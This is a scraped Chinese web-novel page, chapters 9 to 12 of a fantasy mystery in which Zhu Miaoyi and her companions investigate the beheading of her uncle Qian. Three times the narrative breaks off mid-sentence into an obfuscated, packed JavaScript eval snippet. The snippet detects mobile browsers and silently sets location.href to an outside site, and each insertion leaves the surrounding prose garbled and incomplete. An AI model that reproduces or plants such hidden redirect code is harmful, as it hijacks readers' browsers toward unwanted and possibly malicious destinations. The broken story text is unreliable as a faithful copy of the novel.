“妙仪,今晚要不然就让我在院子里守着你吧。”颜琅还是很担心朱妙仪的情况,今天下午他在此处陪着朱妙仪的时候,发觉对方经常在睡梦中露出痛苦的神情。“万一你睡得不安稳,还能叫我进来看看你。” “叫你进来做什么?”晴朝防备地看了颜琅一眼,“你们都别管了,今晚我在这里陪着妙仪。” 颜琅还想说话,唐亦景出言制止了他。 “这样安排也好,至少妙仪若是梦魇了,晴朝还有应对的方法。” 朱妙仪知道颜琅是担心自己,但他今日已经在此处陪了自己一下午,再加上前段时间他一直处于舟车劳顿之中,朱妙仪害怕他会积劳成疾,因此也赶着颜琅赶快回屋休息,颜琅见状便同意了这样的安排。 临走的时候,唐亦景悄悄地拉住晴朝的胳膊。 “记着,你可以动用法术,但不能用真气。还有绝对不要把你的无忧酿拿出来给妙仪喝。” 晴朝反手握住唐亦景的衣袖,凑到对方耳边说道:“你放心吧,那坛无忧酿我早已经喝完了。” 唐亦景颇有些无奈地瞥了晴朝一眼。 入夜,梧桐馆很快便浸入一片寂静之中。 朱妙仪睡了不知多久后悠悠转醒,透过垂下来的床幔她看到屋外尚处于一片黑暗之中。正当她准备闭上眼睛继续睡觉的时候,忽然听到了一阵“咚咚咚”的撞击声。 下了床,朱妙仪端起放在床边的一座烛台,循着声音向院外走去。 撞击声很有规律,听起来像是有人敲门或是撞击木板。朱妙仪仔细辨别着声音传来的方向,最终走到了玉衡阁门前。 朱妙仪不假思索地打开门走了进去。 由于玉衡阁内所有的窗户都被封闭,因此到了夜晚玉衡阁内便很是昏暗,朱妙仪只能将烛台举到面前才能够看清前方。 就在这时,朱妙仪意外地发现玉衡阁内书架上的古籍不知为何都已经不见了,取而代之的是一瓶瓶白色小瓷瓶。 “这是怎么回事?我家的古籍都去哪了。”朱妙仪刚准备拿起瓷瓶探个究竟,余光却看到一个灰白色的影子从书架尽头一闪而过。 “你是谁?还不赶快给我站住!”朱妙仪高声喝道,接着便举着烛台追了过去。 转过书架,朱妙仪赫然看到一条灰白色的龙飞在空中,它就如同古籍上记载得一模一样,头上的两根龙角闪着白色的光芒。 看到朱妙仪的瞬间,那条龙从空中盘旋一圈,接着便冲向房梁凭空消失了踪迹。 “雀儿姐姐!雀儿姐姐!”朱妙仪回身向外跑去,谁知一只脚刚迈出玉衡阁便感觉双腿一软,接着便昏倒了地上。 下一瞬,朱妙仪忽然清醒了过来。 但她已不在玉衡阁的门口,而是躺在梧桐馆她自己的床榻之上,晴朝正坐在一旁关切地看着她。 朱妙仪赶紧坐起身,口中叫道:“雀儿姐姐,雀儿姐姐。” 晴朝立刻伸手搂住了朱妙仪,轻声安慰道:“别怕别怕,好孩子,我在这呢。” 朱妙仪努力平复下自己剧烈的心跳,看着晴朝眼睛认真地说道:“雀儿姐姐,刚才我在玉衡阁见到龙了。我发誓我没有看错,那条龙就如同我们说过的那个样子,生有尖角獠牙和利爪,我真的看到龙了。” 晴朝的表情却有些古怪,她先是抬手摸了摸朱妙仪的额头,确认对方没有发烧后,这才慢吞吞地开口问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241759|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“妙仪,你还记得今晚我是在你屋内的碧纱橱中休息的吗?” “我记得啊。” “自从你入睡,我一直在碧纱橱内躺着,实则并没有睡着。”晴朝迟疑着开口,“所以说我可以保证,你绝对没有离开过房间,更不可能去过玉衡阁了。” “什么?”朱妙仪伸出手扶住自己的头,“我竟只是在做梦吗?” 晴朝呼出一口气,为朱妙仪重新盖好被子。 “妙仪,你这段时间忧虑过重,会出现这种情况也很是正常。”说着,她扶着朱妙仪重新躺下。 “可是雀儿姐姐,那个梦让我感觉好真实。” 晴朝一只手搭在朱妙仪身上,开始轻轻拍抚起来。 “好,那等一会你睡下了,姐姐就去玉衡阁看一眼。” 伴随着晴朝的轻轻拍抚,法术逐渐生效。朱妙仪只觉得自己的眼皮越来越沉,没一会便沉沉睡去。 确定朱妙仪进入梦乡,晴朝起身走出了房间。 唐亦景正在床上闭目打坐,他的拂尘漂浮在身前,尘尾自然垂落。突然,拂尘好像感知到了什么般在空中转了一圈,连尘尾都自顾自地散开,看上去像一朵巨大的合欢花。 “唐亦景,你睡觉了吗?” 听到门外传来晴朝的小声呼唤,唐亦景睁开眼睛,见拂尘变成这个样子,赶紧将拂尘收了回来。 唐亦景打开门,“怎么了?” 晴朝将刚才发生的事情告诉了唐亦景,虽说她很是确定朱妙仪并未走出过房间,但她还是打算前往玉衡阁查看一番,这样也好让朱妙仪放下心来。 “昨天当着妙仪的面我没敢说,玉衡阁内应当是有一个辟邪的法阵,我一走进去身体就不舒服,所以只能拜托你去玉衡阁看一看了。” 晴朝可怜兮兮地眨了眨眼睛。 人界有许多阵法是连唐亦景都没有听说过的,因此在不会被阵法攻击的时候根本觉察不出。朱家是捉妖世家,在藏书阁设置辟邪的阵法驱逐妖族也很是正常。唐亦景没想到昨日晴朝身子不适竟是被阵法所伤,心中有些自责。 唐亦景回身将屋门关好,毫不迟疑地说道:“走吧。” 来到卧云居,唐亦景担心晴朝再次被阵法所伤,只让她站在院中等待,自己一个人走进了玉衡阁。 约莫半炷香的时间,唐亦景走了出来。他并未说话,只是对着晴朝轻轻摇头。 “可怜的孩子,大约真的是魇着了。”晴朝轻轻叹气。 唐亦景跟着晴朝一起往回走去,忽然开口说道:“我瞧着你总是很心疼妙仪。” “这么年轻的一个女孩子,家里没了人做倚仗,还要一个人四处奔波寻找杀害自己家人的凶手,这换了谁谁不心疼她?” 唐亦景顿了顿,“我还以为……” 他没有说下去。 晴朝有些疑惑地看向唐亦景,却在看到对方欲言又止的表情时忽然明白了唐亦景的意思。 “你是不是以为我在她身上看到了曾经的自己?”晴朝唇角微扬,“唐亦景,你怎么最近说话总是吞吞吐吐的?听着怪不爽快的。” 朱雀族族长之位乃是世袭制,晴朝的父亲便是朱雀族的上一任族长。妖界比不得人界安稳,常会出现凶兽残害其他妖族的事情。在晴朝三百岁那年,她的父母为了保护族人与一只梼杌搏斗,最终与那梼杌同归于尽。 晴朝父亲临死前没来得及为晴朝留下只言片语,只是转过头深深看了晴朝一眼。但晴朝仍然从那一眼中明白了父亲的意思,那就是让她肩负起族长的重任,带领朱雀族继续生存下去。 自那日之后晴朝从未忘记过父亲的嘱托,即便七百年前身受重伤也仍然支撑着朱雀一族,直到现在。 唐亦景自然是害怕自己贸然开口会戳到晴朝的伤疤。不知为何,这次重逢后唐亦景与晴朝说话谨慎了许多,常常需要深思熟虑后才敢将话说出口。 也许在潜意识里,他还是觉得是自己愧对晴朝。 10. 第 10 章 回到梧桐馆后,晴朝又回到了朱妙仪的房内,再确定对方并未醒来后,自己也回到碧纱橱内休息了。 第二日朱妙仪醒得很早,起床后她并未惊醒晴朝,而是自己一个人去了玉衡阁。 便如同晴朝所说,玉衡阁内一切如常,就连墙角的蛛丝网都并未发生变化。书架上根本没有什么白瓷瓶,而是一本本积尘的古籍密密麻麻地摆放着。 朱妙仪轻轻叹了一口气,转身将玉衡阁的三扇木门全部打开,想着让内外的空气流通起来,她好早日将玉衡阁清扫出来。 “妙仪!” 朱妙仪回过头,看见颜琅向玉衡阁跑了过来。 “表哥。” 朱妙仪微笑看着颜琅跑到自己身边,对方仍有些气喘,额头上也起了一层薄汗,朱妙仪从袖中取出手帕,为颜琅将额头上的汗揩去。 “你怎么这么早便起来了?昨日唐大人说你需要休息,你应该多躺会才是。” 朱妙仪不想再说起自己昨晚所做的梦,因此并未回答颜琅的话,而是反问道:“那表哥呢,怎么也起这么早?” “我是起来打太极拳的。” 颜琅是习武之人,早晨常常早起打太极拳或是练习剑法。朱妙仪点点头,嘴上嘱咐道:“那你以后记着将汗擦干了再出门,仔细着了凉。” “你放心吧。” 二人说完话,朱妙仪引着颜琅往玉衡阁内走去。 这还是颜琅第一次来到朱家的藏书阁。原先在京城的时候他便听父亲讲过朱家有一座神秘的藏书阁,其中收藏了大量描写妖族的古籍,因此从很久之前便对此地心向往之。 颜琅此时已经知道了朱妙仪要将玉衡阁的书籍都清点一遍的事情,因此当他走进来见玉衡阁内蛛网尘封,立刻决定自己要同朱妙仪一起清点藏书。 二人大致规划了清理的流程后向外走去,朱妙仪不会做饭,因此还记挂着要出去买晨食,谁知回来后才知道唐亦景已经出门将晨食买好了。 晴朝见他们走进堂屋,招呼着他们赶紧过去坐下。 “唐亦景不知道从哪里找到的胡饼,里面的肉可香了,你们快过来尝尝。” 朱妙仪走到桌前,颇有些愧疚地说道:“都是我招待不周,居然要客人自己出去买晨食,实在是太不应该了。” 唐亦景坐在一旁端着一杯茶细品,听到朱妙仪这样说,赶紧放下茶盏。 “妙仪,你现在身体尚未恢复,还是在府中静养为上,切不可奔波劳累了。” “就是。”晴朝将口中的胡饼咽下,“再者说我们早已经把你当亲妹妹看待了,你若是再敢这般客气,我可要生气了。” 朱妙仪展颜一笑,她确实能够感受到来自唐亦景与晴朝对自己的善意,也很是感激他们二人愿意在自己最困难的时候毅然决然地选择帮助自己。 唐亦景并不想吃,因此只是坐在一旁喝茶。看着他们三人围坐在一起啃胡饼的样子,唐亦景悄悄用茶盏遮挡住了自己唇边的笑意。 朱妙仪在府中休养了三日,在这三天当中,颜琅根本不让朱妙仪靠近一点玉衡阁,而是一个人将玉衡阁内外仔仔细细打扫了一遍,就连最顶层那根房梁上的蛛丝网都被他爬上去用鸡毛掸子抹掉了。 “你放心吧,明日你去的时候我必不会让任何一点灰尘挨着你。” 朱妙仪看着颜琅胸有成竹的样子并不说话,只是笑着将颜琅肩膀上沾到的灰尘用手帕擦去。 就在朱妙仪准备前往玉衡阁大展身手的那日清晨,一位官差忽然敲响了朱府的大门。 “请问您是朱二娘子吗?” 朱妙仪点点头,迫不及待地问道:“官爷,是我家的案子有线索了吗?” 来人面露难色,“朱二娘子,我并非是无妖县的官差,而是距离无妖县二十里地外的安远县弓手都头,我叫赵刚。” “赵都头?”朱妙仪后知后觉叉手行礼,“不知赵都头从安南县来找我有什么事吗?” “是这样的,”赵刚轻咳一声,“您认识安南县钱员外的夫人钱朱氏吗?” 看着朱妙仪迷茫的眼神,赵刚默默补充道:“对了,我听说钱夫人出嫁前的名字叫朱云窈。” “姑母?”朱妙仪终于反应过来,“对不住赵都头,我姑母在我出生前便已经出嫁了,自那之后她再也没有回过朱家。我只是从朱家族谱上看到过姑母的名字,与她并未见过面。” “原来是这样。”赵刚若有所思地点了点头。 朱妙仪对于这位姑母的事情知之甚少,只知道对方好像忤逆了祖父的意愿选择嫁给一位富贾做了续弦,自那之后便与朱家再无往来了。 看着赵刚眉头紧锁的样子,朱妙仪忍不住出声询问:“赵都头,请问是我姑母出了什么事情吗?” 赵刚摇摇头,“您放心,钱夫人并未出事。” 就在朱妙仪将心重新放回肚子里时,赵刚忽然话锋一转。 “出事的是钱员外。” “钱员外?那也就是说是我……姑父出事了?”朱妙仪还有些不适应这个称呼,“我姑父出什么事了?” “五日前,钱员外于自家书房内被杀了。” “什么?”朱妙仪瞪大了眼睛。 一直在旁边等候的颜琅适时冲了过来,用一只手稳稳扶住了朱妙仪的胳膊。 “赵都头您好,我叫颜琅,是朱二娘子的表哥。” 赵都头被突然冲出来的颜琅吓了一跳,惊魂未定地点了点头。 “您刚才说,钱员外被人杀了?” 赵都头又点了点头。 “既然如此,那您现在应该在安南县寻找凶手,又怎么会跑到无妖县来找我表妹呢?” 赵刚斟酌片刻,终于决定将整件事的原委和盘托出。 钱员外是做茶叶生意的,平日里大多跟着商船在外奔波,很少在家居住。三日前钱员外忽然回了家,钱夫人对此感到有些意外,但并未询问原因。入夜后,钱员外独自一人在书房忙碌,钱夫人只是在约莫二更的时候给他送过一碗粟米粥,之后便独自去睡了。 一觉醒来,钱夫人发觉钱员外昨夜并未回屋睡觉,一开始只当是钱员外在书房忙完直接睡下了,谁知下一刻便看到一个婢女尖叫着冲了进来。 说到这,赵刚忽然支吾了一句,接着用眼神示意颜琅,面上露出一副有些为难的样子。 颜琅刚想开口,却被朱妙仪抢先一步说道:“赵都头放心讲吧,我没事。” 赵刚不再迟疑,接着说道:“那凶手不知用了什么凶器,竟然将钱员外的脑袋生生割了下来。我到达现场的时候发现书房内血污满地,那钱员外的身体还倒在地上,可脑袋居然不知所踪了。” 听到这, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241760|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜琅与朱妙仪对视一眼,两人都从对方脸上看到了诧异的表情。 “若说是因为憎恨对方产生杀机确实有可能做出砍下头颅的事情,但是把脑袋直接带走也着实有点太奇怪了吧。” 朱妙仪点点头。 赵刚挠了挠自己的头发,有些不好意思地说道:“不瞒您们二位说,我今日前来拜访就是因为刚刚得知了前些日子朱家同样出过一桩命案,我想着这两案中间或许会有些关联,这才从安南县赶了过来。” 朱妙仪再次与颜琅对视一眼,虽说她并不知道这两个案子之间是否有关联,但对于现在的她来说,任何有可能帮助她找到杀人凶手的方向她都愿意去走一走。 朱妙仪打开府门,“赵都头,您远道而来着实辛苦,先进来喝杯水吧。现在与我一同在府中居住的除了我表哥外还有两位好友,他们一直在帮我调查朱家发生的凶案,所以我觉得有必要将安南县的这桩案子告知他们。” 三人走回堂屋,在朱妙仪沏茶的时候,赵刚已经将钱家发生的事情告诉了唐亦景和晴朝。 在听到钱员外的脑袋被凶手带离案发现场后,唐亦景和晴朝也是同时倒吸了一口凉气。 将茶端给赵刚后,朱妙仪以准备糕点为借口走出了堂屋。不多一会,晴朝也走了出来。 “雀儿姐姐,你觉得这个案子会和朱家的凶案有联系吗?” 晴朝迟疑了一霎,“目前看来我是不好下定论的,但就凶手残暴的作案手法一点来看,确实有可能是妖族所为。” 朱妙仪点头,她确实也是在听到凶手将钱员外头颅带走这一点的时候,认为这件事有可能是妖族所为。 毕竟对于常人来说,砍下一个人的脑袋并非是易事。但对于妖族来讲,这件事却变得轻而易举了。 想到这,朱妙仪鼓起勇气询问晴朝,“雀儿姐姐,那你觉得咱们应该过去看看吗?” “你觉得呢?”晴朝的语气很是温柔,但并没有回答,而是将问题又抛给了朱妙仪。 朱妙仪顿了顿,最终还是在晴朝鼓励的眼神下开口说道:“我觉得我们应该去看一看。” 说完这句话,朱妙仪又立刻开口解释道:“我并不是因为病急乱投医,而是觉得这两桩案子发生的时间间隔不远,就连地点也很相近,再加上两个凶手都采取了极为残忍的杀人手法,确实有可能是同一凶手所为。” 耐心地听朱妙仪将理由解释充分,晴朝点了点头。 “除此以外,在安南县被杀死的钱员外还是你的亲姑父。”晴朝说到这,忽然缓缓叹了一口气。 她与唐亦景不约而同地担忧过同一个问题,那就是朱家一案凶手的目的究竟是什么。 若凶手只是与朱家的捉妖师有仇,那目前看来它已经得偿所愿了,因为朱家到现在已经再没有一个捉妖人活在世上。 但如果说,凶手是将整个朱家当成了仇敌呢? 晴朝的目光落在朱妙仪脸上。这个小姑娘是那么勇敢,一个人也愿意肩负起为家人报仇的重任,不顾辛劳地东奔西走。但与此同时,她这么做也等于将自己完全暴露在了凶手的视线之中。 正在这时,颜琅从堂屋内走了出来。 “晴朝姑娘,妙仪,唐大人说让我们立刻回屋收拾行李。” 朱妙仪一怔,“去哪儿?” “安南县。” 11. 第 11 章 安南县比无妖县的面积还要小,人口也不足无妖县的三分之一。由于税收少,安南县的县衙资金很是紧张,所以今天早晨赵刚是用了一个时辰从安南县一路走过来的。 回去自然不能再步行,即便是赵刚不觉得疲累,唐亦景他们三人也不允许朱妙仪受累,因此先让颜琅去县里租了马匹和马车,最终一行五人浩浩荡荡地离开了无妖县。 唐亦景是会骑马的,只是多年不骑技艺有些生疏,尚在犹豫之际便被晴朝拉到了马车上。而颜琅作为一行人中唯一一个学过驭术的人,自觉地揽过了驾驭马车的工作。 “唐亦景,你觉得这两个案子有关系的可能性大吗?” 唐亦景理了理自己被拉扯皱了的衣袖,接着慢条斯理地说道:“我不知道。” 晴朝愠怒地翻了唐亦景一记白眼,而坐在一旁的朱妙仪被二人的互动成功逗笑了。 “亦景哥哥,我觉得现在当务之急并不是找到杀害钱员外的凶手,而是查明钱员外遇害的理由。” 唐亦景点头。 “你说得对,若是查明钱员外遇害与妖无关,便可以直接证明这两件案子并无关联,咱们也可以提前回来了。” 晴朝听着二人的对话,忽然对朱妙仪问道:“你真的从来没见过你姑母吗?” 朱妙仪一愣,接着点了点头。 朱雀一族可算得上的枝繁叶茂,晴朝自小便几乎是被不同的亲人轮流照料长大,因此对于朱妙仪与亲姑母未曾谋面一事十分惊讶。 “说实话,我从小到大都没有从我祖父口中听到过关于我姑母的事情,倒是我父亲有一次曾经提过过我姑母的名字,但是……” 晴朝不明白朱妙仪的迟疑,追问道:“但是什么?” 朱妙仪尴尬一笑,“但是因为我父亲偶然发现我在家私藏错认水喝,才说我若是如此不懂规矩,以后难保不会落得跟朱云窈一样的下场。” 场面安静了一瞬,接着便听到晴朝噗嗤一笑。 “唐亦景,你可看看你的好妹妹吧。” 唐亦景同样笑得眉眼弯弯,目光温柔地看向朱妙仪。 “也是在那一次之后,我从玉衡阁偷偷找到了朱家族谱,发现朱云窈是我姑母的名字。” 唐亦景笑着开口:“这么看,你这位姑母恐怕真的是做了非常惊世骇俗的事情。” “但鉴于她姑母是个女子,也许她只是做了件很普通的事情。”晴朝止住了笑,“这样说来我对于能够见到你姑母这样一位奇女子忽然燃起了极大的兴趣。” 朱妙仪笑着点点头,“说实话,我对见我姑母也很有兴趣。” 有了马匹的助力,五人只用了不到半个时辰便到了安南县。在赵刚的带领下,一行人来到了钱府门外。 赵刚叩了叩门,很快便有一个小厮打开门,从门后伸出脑袋来。 在看清敲门者是谁后,小厮立刻笑着说道:“赵都头。” 赵刚对着他点了点头,“阿贵,你家夫人呢?” 阿贵将府门打开,“我家夫人这会正在佛堂礼佛呢,您是来找夫人问话的吗?” “算是吧。”赵刚看了看站在自己身后的朱妙仪,“你去给你家夫人说,我带着朱二娘子前来拜访。” “朱二娘子?”阿贵有些诧异,但还是听话地快速跑走了。 不到一炷香的时间阿贵便回来了,除他以外,还有一个身着窄袖空青色长袖褙子的年轻女子一同走了过来。 那女子先是与赵刚点头致意,之后将目光在赵刚身后的四人身上轮流打量一遍,最终落在了朱妙仪身上。 “您就是朱二娘子吗?” 朱妙仪点了点头。 那女子叉手行礼,“奴婢名叫凝露,原是朱家的家生婢女,后来作为陪嫁跟着夫人来到了钱家。” 怪不得朱妙仪瞧着这个女子穿着讲究,原来是自己姑母的陪嫁丫鬟。 “凝露姑娘。”朱妙仪朝她轻轻点头。 凝露侧过身来,“夫人让奴婢引诸位客人先去东院堂屋暂坐,夫人换过衣服马上就过来。” 跟随着凝露的指引,一行人往东院走去。路上见钱家庭院内布局精巧,亭台轩榭错落有致,曲径通幽处假山巍峨耸立,或奇峰罗列,或层峦叠嶂。假山之间有流水缓慢流淌,或成溪涧,或聚为池沼,水面波光粼粼。饶是颜琅这样在从小京城长大、见惯了权贵高门的孩子,都在见到钱家大院的样子后感到目瞪口呆。 毕竟他也是第一次看到有人直接在自家院子里豢养仙鹤的。 在东院堂屋内喝了一会茶,一位身着缟素的妇人缓缓走了进来。几乎在她转过屏风的瞬间,朱妙仪便确定她便是自己的姑母朱云窈。 见到朱云窈走进来,大家都站起了身。朱妙仪叉手行礼道:“朱家妙仪见过姑母。” 朱云窈径直走到朱妙仪身边,一把拉住了朱妙仪的手,接着对着朱妙仪的脸庞细细端详起来。 朱妙仪能够感到朱云窈的一双眸子沿着自己的五官轮廓在脸上游动,最终落在了自己额间的红痣上。 “不必多礼,我与朱家早已一刀两断,自然也受不起你这一句姑母了。” 朱云窈猛然松开了朱妙仪的手,仿佛若无其事般走到主位上坐下。 朱妙仪不明白这位姑母对自己的态度为何前后差距如此之大,但联想到对方即便是自己的亲生父兄被杀都没有回去看望过一次,猜想当年对方与朱家必然是爆发过巨大的争吵。 “既然如此,晚辈便先唤您一声钱夫人了。”朱妙仪微笑着点头。 朱云窈像是有些没有料想到朱妙仪的从容,目光从朱妙仪身上顿了一会,接着开口说道:“好的,朱二娘子。” 赵刚及时开口打破了场面的尴尬,“钱夫人,我们此次来贵府叨扰是为着钱员外的命案而来的。” 朱云窈瞥了一眼在场的其他人,最后看着赵刚问道:“我们府上的命案,与他们有何干系?” 赵刚硬着头皮解释道:“夫人,三月前朱家发生一起命案,我是想着那件案子可能与钱员外的案子有些相通之处,故前去无妖县将朱家一案的知情人士带了过来。” “知情人士?”朱云窈的眉头微微皱起,“这几位都是知情人士吗?” “是的,这一位是朱二娘子的表哥,那两位是朱二娘子的好友,他们现在都在帮助朱二娘子调查朱家的案子。” “几个小毛孩,还说什么调查案子?”朱云窈面露不愠,但最终还是看向他们说道:“看在赵都头的面子上,我吩咐人收拾了几间屋子安置你们住下。这几日你们住在府上调查案子,但绝不允许干扰钱家的内宅之事。” 赵刚赶紧点头说道:“夫人您放心吧,这几个孩子都再懂事不过了,绝对不会给钱家添麻烦的。” 说完话,朱云窈示意凝露扶着自己站起身。 “书房在西院,你们直接跟着赵都头过去便是。我近几日身体不适,先回房休息了。” 说完,朱云窈走出了堂屋。 再过去西院的时候便只剩下了他们五人,晴朝也终于敢放心说话了。 “妙仪,我怎么瞧着你姑母好像不太正常?” 朱妙仪捂着嘴偷笑,赵刚听到了晴朝的话,转过头来也是嘿嘿一笑。 “钱夫人待人一向如此,你们千万不要放在心上。” “真的吗?我原以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵刚点头,“这钱员外平日里大部分时间都是在外地经商,即便偶尔回家居住也都是在西院内,只有探望钱家小公子的时候才会到东院去,这也是为什么那晚钱员外并未回房睡觉但钱夫人却没有在意的原因。” “看来他们夫妻关系真的很一般。”晴朝最后做了个总结,“真是令人意想不到啊。” 一行人走着走着,忽然听到一阵悦耳的风铃之声传来。那风铃声很是轻微,伴随着风声柔和入耳,仿佛有沁人心脾的功效。 唐亦景抬起头,发觉不远处坐落着一栋高耸的建筑。这建筑的外观有些奇怪,一栋圆形的多层建筑坐落于三层圜丘之上,外形看起来像个宝塔,每一层都有若干个小窗,而窗口都挂着一个小小的铃铛。 一阵风过,那些铃铛便泠泠作响。 赵刚见大家看得入神,主动介绍道:“这是钱家的祠堂,里头供奉着钱家的列祖列宗。” “我还是第一次见到有这种样式的祠堂。”颜琅仔细瞧着眼前的建筑,面上露出探究的神情。“这是安南县的特色吗?” “不瞒您说,这样的祠堂即便在我们安南县也只有钱家独一份了。”赵刚摇了摇头,“他们说这是钱员外特意找神仙算过的,那神仙说只有按照这种样式修建祠堂,才能够保证钱家财运亨通。” “这样看来,那神仙算得还挺准呢。”晴朝笑着用胳膊肘撞了一下唐亦景,“唐亦景,你说是不是啊?” “神仙端坐于高台之上,哪有工夫管人界的事情?”唐亦景嗤笑一声。 晴朝预料到唐亦景会对此不屑一顾,因此露出一个得逞的笑容。 转过祠堂,钱员外的书房终于展现在众人眼前。 12. 第 12 章 晴朝有意将朱妙仪挡在了身后,但扑面而来的血腥味还是呛得朱妙仪皱起眉头,用手帕掩住了口鼻。 书房内果然如同赵刚所言是血流遍地,现在血迹已经凝固,原本鲜红色的血迹变成了红褐色的大片污渍,在地面上以一张妖冶的方式肆意挥洒。 赵刚避开血痕走进去,指着地面上一处空地说道:“这就是钱员外倒下的位置。” 唐亦景学着赵刚的样子走进了屋内,看到在钱员外倒下的位置有一摊喷溅式的血迹。从这片血迹的方向判断,钱员外应当是从书桌后方遇害,然后向侧面倒了下去。 “我们推断钱员外应当是被一击毙命的,因为地面上的血痕完全没有展示出挣扎或者搏斗的痕迹。”赵刚边说话边用手比划着。 唐亦景站在原地观察了一下书房的陈设。与钱家院子内的风格不同,这间书房的陈设极为简约,书房西侧和北侧各摆放了一座书架,书架上错落摆放着书籍和一些花瓶古董。书房中央朝南摆放着一个书桌,书桌上除了笔墨纸砚和一个笔山外,再没有任何东西。 颜琅正好站在书架旁边,他开口询问道:“这些书籍你们都调查过了吗?” 赵刚点了点头,“除了一些经学典籍外,这里还有钱家的账簿。但我让钱员外的小厮金生检查过,这些账本并没有出现缺漏。” 由于尸体已经运走,几人也不想破坏书房案发当时的情况,便在大致查探过后立刻走了出来。 赵刚对着朱妙仪叉手行礼,“朱二娘子,您觉得这地方与朱家一案可有相似之处吗?” “我回到朱府时家人的遗体已经被官府尽数带走,地面也进行过大致的冲刷,但就凶手一击毙命和现场大量血迹的情况来看,确实算有些相似之处。”朱妙仪想起自己刚回到朱府看到前院地面上到处都是大片大片的暗红色污迹,后来才知道那些污迹都是被简单清理过后的血痕。 扭头看去,朱妙仪发觉唐亦景和晴朝都站在旁边一言不发,心里有些奇怪。 “雀儿姐姐,你怎么了?” 晴朝回过神来,笑着对朱妙仪摆了摆手。 由于时间已临近正午,赵刚本想邀请他们几位外出吃饭,但朱妙仪被刚才的血腥味熏得实在没什么胃口,他们四人便先告别了赵刚,约定下午在安南县县衙相见。 朱云窈给四人安排的院落位于东院,是一座名唤玉笛轩的一进小院,四人带来的行李都已经被凝露先派人送了过去。 小院内有两间屋子,每间屋子又被隔为内外两间。由于每扇窗上皆糊着细软的轻容纱,因此即便是里间的屋子也并不觉得昏暗。 婢女们给四人上过茶水和糕点后,朱妙仪便让她们暂时先退了下去。 “雀儿姐姐,看你刚才在那书房外的样子分明是在想什么事情,究竟是怎么了?” 晴朝瞥了一眼唐亦景,“唐亦景,你觉得那间书房有什么问题吗?” “确实是有,”唐亦景点了点头,“但应当是与我们无关了。” 朱妙仪疑惑地看向唐亦景。 唐亦景缓缓开口:“我刚才探查过了,那间书房内并无妖气。” “没有妖气?”朱妙仪有些惊讶,“那也就是说,这个把钱员外脑袋直接割走的凶手实则是个普通的人吗?” 唐亦景刚准备点头,却见坐在一旁的晴朝忽然站了起来。 “唐亦景,你的拂尘是不是坏了?” 唐亦景看向晴朝。 晴朝斩钉截铁地说道:“那间书房内绝对有妖气。” 这下朱妙仪更疑惑了。 唐亦景也有些意外,“难不成你在那间书房闻到妖气了吗?” 晴朝挠了挠头发。 “说实话,我也没有在那间书房中闻到明显的妖气。但我刚才走进书房的时候,确实感觉到我额上的羽毛有过一瞬间的反应。” 朱妙仪和颜琅这才意识到晴朝额上的羽毛图案并非只是简单的装饰。 “这是我们朱雀保命的本领,这一簇羽毛能够最先感知到空气中尚且稀薄的妖气,从而给我们发出预警。”晴朝指着自己额间的羽毛说道:“我敢向你们保证,就算是唐亦景的拂尘坏了,我这簇羽毛也绝对不可能出现失误。” 朱妙仪和颜琅再次看向唐亦景,而后者在听完晴朝的话后也陷入了沉默。 唐亦景并非不知道朱雀族的冠羽具有多么强大的作用,但与此同时他也不能相信是自己的拂尘出了问题。 “晴朝,你不要犯傻了,你明知道我的拂尘乃是仙界法器,绝对不可能有错。即便你确实能够在那间书房中察觉到有妖出现过,但若是连我的拂尘连他的妖气都追踪不到,便证明这一只妖已经绝没有杀人的能力了。” “怎么?唐亦景,你不是一开始的时候也曾经怀疑过朱家一案是我做的吗?那时候你的仙界法器怎么没提醒你我是只再也害不了人的妖兽呢?”晴朝愠怒地看向唐亦景,“还是说,在你眼中只有我是一只即便散掉了三魂七魄也能作恶的凶兽!” 朱妙仪立即站起身将晴朝拉到了一旁,晴朝也感觉到自己刚才的失态,垂下头不再说话。唐亦景还站在原地,神情有些茫然,只是怔怔地看着晴朝慢慢抬起手捂住了自己的脸。 “雀儿姐姐,我有些累了,咱们先回房间吧。” 晴朝点点头,与朱妙仪互相搀扶着离开了堂屋。 回到房间后,晴朝一直没有说话,只是坐在罗汉榻上呆呆地看着眼前的地面。 朱妙仪在屋内将自己带来的包袱收拾好,接着悄悄地走到了外间。 “雀儿姐姐?” 晴朝愣了愣,抬眸却看见朱妙仪拿着一只经瓶在她眼前晃了晃。 “这是什么?” 朱妙仪坐在晴朝身边,两人的衣裙下摆重叠在一起,像是两片颜色不同的花瓣。 “错认水。”朱妙仪得意洋洋地笑了笑,“我从家里拿过来的。” 晴朝也被逗笑,伸手接过了经瓶。 “真没想到,你居然还想着带了瓶酒。” “本来是想送给我姑母作为见面礼的,没想到她会这么绝情。”朱妙仪又想到朱云窈今日在堂屋内说话的样子,不由自主地撇了撇嘴。 “所以说不管她了,咱们两个把这瓶错认水喝掉吧。”说着话,朱妙仪从一旁炕桌上端过来一对小酒盅,给自己和晴朝分别倒了一杯。 